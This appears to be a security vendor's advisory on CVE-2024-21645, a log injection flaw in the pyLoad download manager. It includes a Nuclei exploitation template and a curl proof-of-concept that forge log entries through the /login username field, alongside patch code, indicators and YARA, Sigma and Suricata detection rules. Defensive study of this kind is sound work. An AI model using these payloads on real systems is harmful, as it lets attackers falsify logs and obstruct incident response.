CVE-2024-21645

Executive Summary

CVE-2024-21645 is a log injection vulnerability in pyLoad, an open-source download manager written in Python. This flaw allows any unauthenticated attacker to inject arbitrary messages into pyLoad's application logs. By forging log entries, an attacker can cover their tracks, frame another party, or disrupt forensic investigations. The vulnerability has a CVSS score of 5.3 (Medium) and is publicly exploitable. A patch is available in version 0.5.0b3.dev77.

Supply Chain & Package Security

pyLoad is a Python-based application distributed via PyPI and GitHub. The vulnerability exists in the core application logic, not in a dependency. However, organizations using pyLoad should verify they are not running a vulnerable version and ensure their software supply chain is updated to the patched release.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
• Base Score: 5.3 (Medium)
• Attack Vector: Network (AV:N) - The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) - No special conditions are required.
• Privileges Required: None (PR:N) - No authentication is needed.
• User Interaction: None (UI:N) - The attacker does not need to trick a user.
• Scope: Unchanged (S:U) - The impact is confined to the vulnerable component.
• Confidentiality Impact: None (C:N) - No data is exposed.
• Integrity Impact: Low (I:L) - Log data can be modified.
• Availability Impact: None (A:N) - Service availability is not affected.

Threat Level: Medium. While the vulnerability does not allow direct system compromise, it enables log manipulation, which can severely hinder incident response and forensic analysis.

Deep Dive & Mechanics

The vulnerability resides in the log handling mechanism of pyLoad. The application fails to sanitize user-supplied input before writing it to log files. An unauthenticated attacker can send a crafted HTTP request containing newline characters (%0a) and arbitrary log entries. The application interprets these characters as legitimate log separators, allowing the attacker to inject entire log lines.

The attack vector is the /login endpoint. By sending a POST request with a malicious username parameter, the attacker can inject a fake log entry. The injected entry can include a timestamp, log level, source, and message, making it appear as a legitimate log record.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

# In vulnerable versions, user input is directly logged without sanitization
def login(username, password):
    log.info(f"Login attempt for user: {username}")
    # ... authentication logic ...

Patched Code (Conceptual):

# In patched versions, user input is sanitized before logging
import re

def sanitize_log_input(input_string):
    # Remove or escape newline characters and other control characters
    sanitized = re.sub(r'[\r\n]', '', input_string)
    return sanitized

def login(username, password):
    safe_username = sanitize_log_input(username)
    log.info(f"Login attempt for user: {safe_username}")
    # ... authentication logic ...

The patch ensures that newline characters and other control characters are removed or escaped before the input is written to the log, preventing log injection.

Exploitation & Lab Setup

Red Team (Exploitation)

The following Nuclei template demonstrates exploitation. It sends a malicious login request with an injected log entry, then verifies the injection by checking the logs page.

id: CVE-2024-21645

info:
  name: pyload - Log Injection
  author: isacaya
  severity: medium
  description: |
    A log injection vulnerability was identified in pyload. This vulnerability allows any unauthenticated actor to inject arbitrary messages into the logs gathered by pyload.
  remediation: |
    Apply the latest security patches and updates from the vendor to address this vulnerability.
  impact: |
    Forged or otherwise, corrupted log files can be used to cover an attacker's tracks or even to implicate another party in the commission of a malicious act.
  reference:
    - https://github.com/advisories/GHSA-ghmw-rwh8-6qmr
    - https://nvd.nist.gov/vuln/detail/CVE-2024-21645
    - https://github.com/fkie-cad/nvd-json-data-feeds
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
    cvss-score: 5.3
    cve-id: CVE-2024-21645
    cwe-id: CWE-74
    epss-score: 0.71322
    epss-percentile: 0.98731
    cpe: cpe:2.3:a:pyload:pyload:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: pyload
    product: pyload
    shodan-query:
      - "title:\"pyload\""
      - http.title:"login - pyload"
      - http.html:"pyload"
      - http.title:"pyload"
    fofa-query:
      - title="login - pyload"
      - body="pyload"
      - title="pyload"
    google-query:
      - intitle:"login - pyload"
      - intitle:"pyload"
    zoomeye-query: app="pyLoad"
  tags: cve,cve2024,pyload,authenticated,injection,vuln
variables:
  str: "{{rand_base(6)}}"

http:
  - raw:
      - |
        POST /login?next={{RootURL}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        do=login&username={{randstr}}\'%0a[1970-01-01 00:00:00]  INJECTED               {{str}}  THIS ENTRY HAS BEEN INJECTED&password=wrong&submit=Login

      - |
        POST /login?next={{RootURL}}/logs HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        do=login&username={{username}}&password={{password}}&submit=Login

    redirects: true
    max-redirects: 1

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<td>1970-01-01 00:00:00</td><td class="loglevel">INJECTED</td><td class="logsource">{{str}}</td><td>THIS&nbsp;ENTRY&nbsp;HAS&nbsp;BEEN&nbsp;INJECTED&#39;</td>'

      - type: status
        status:
          - 200

Lab Setup:

1. Deploy a vulnerable version of pyLoad (e.g., 0.5.0b3.dev76 or earlier) in a controlled environment.
2. Use the Nuclei template or a manual curl command to exploit the vulnerability.
3. Observe the injected log entry in the pyLoad web interface under the logs section.

Manual Exploitation (curl):

curl -X POST "http://target:8000/login?next=http://target:8000" \
  -d "do=login&username=test%0a[1970-01-01 00:00:00]  INJECTED               TEST123  THIS ENTRY HAS BEEN INJECTED&password=wrong&submit=Login"

Blue Team (Detection & Response)

Detection:

• Monitor for unusual log entries containing timestamps that do not match the current time.
• Alert on log entries with unexpected log levels or sources.
• Use the Sigma rule provided in the Detection Engineering section.

Response:

• Immediately isolate affected systems.
• Review logs for signs of tampering.
• Apply the patch (upgrade to 0.5.0b3.dev77 or later).
• Rotate any credentials that may have been exposed.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /login with a username parameter containing %0a (newline) characters.
  • Requests with a next parameter pointing to /logs after a failed login attempt.
• Log IOCs:
  • Log entries with timestamps that are inconsistent with the current system time.
  • Log entries containing the string INJECTED or other suspicious log levels.
  • Log entries with a source field that does not match expected sources (e.g., INJECTED).
• File IOCs:
  • Modified log files in the pyLoad log directory (typically /var/log/pyload/ or the application's data directory).

Detection Engineering

YARA Rule

rule CVE_2024_21645_Log_Injection {
    meta:
        description = "Detects log injection attempts in pyLoad logs"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-21645"
    strings:
        $injection_pattern = /\[.*\]\s+INJECTED\s+.*THIS ENTRY HAS BEEN INJECTED/
        $newline_injection = /%0a/
    condition:
        $injection_pattern or $newline_injection
}

Sigma Rule

title: pyLoad Log Injection Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to inject arbitrary log entries into pyLoad logs via the login endpoint.
author: Valters IT
date: 2024/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-21645
logsource:
    category: webserver
    product: pyload
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/login'
        cs-uri-query|contains: 'next='
        cs-username|contains: '%0a'
    condition: selection
falsepositives:
    - Legitimate use of newline characters in usernames (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-21645 - pyLoad Log Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/login"; http_uri;
    content:"next="; http_uri;
    content:"%0a"; http_client_body;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade pyLoad to version 0.5.0b3.dev77 or later.
2. Workaround: If patching is not immediately possible, restrict network access to the pyLoad web interface to trusted IPs only.
3. Log Monitoring: Implement monitoring for suspicious log entries and alert on anomalies.

Long-Term Measures:

• Implement input validation and sanitization for all user-supplied data before logging.
• Use a centralized logging solution with integrity checks (e.g., syslog with TLS, or a SIEM with log integrity monitoring).
• Regularly audit and review logs for signs of tampering.

Valters IT Signature:

This report was generated by Valters IT, an elite DevSecOps and Cyber Threat Intelligence team. For more information, visit Valters IT.

{/* [Security Hash: F6814A1A96FC2744DBFCDC47] */}